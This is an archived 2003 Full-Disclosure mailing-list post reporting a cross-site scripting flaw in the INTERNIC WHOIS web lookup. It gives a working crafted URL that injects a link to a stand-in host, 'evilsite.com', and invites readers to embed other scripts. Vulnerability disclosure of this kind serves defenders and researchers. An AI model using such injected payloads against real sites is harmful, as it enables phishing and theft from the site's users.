[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-Disclosure] INTERNIC WHOIS untrusted link XSS
- To: <full-disclosure@lists.netsys.com>, "0day" <0day@nothackers.org>
- Subject: [Full-Disclosure] INTERNIC WHOIS untrusted link XSS
- From: "morning_wood" <se_cur_ity@hotmail.com>
- Date: Thu, 2 Oct 2003 16:22:12 +0530
untrusted link XSS ...
http://www-whois.internic.net/cgi/whois?whois_nic=%3Ca+href%3Dhttp%3A%2F%2Fe
vilsite.com%3Eclick%20here%20for%20results%3C%2Fa%3E&type=domain
or any xss you wish to embed is also OK
morning_wood ( XSS king )
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html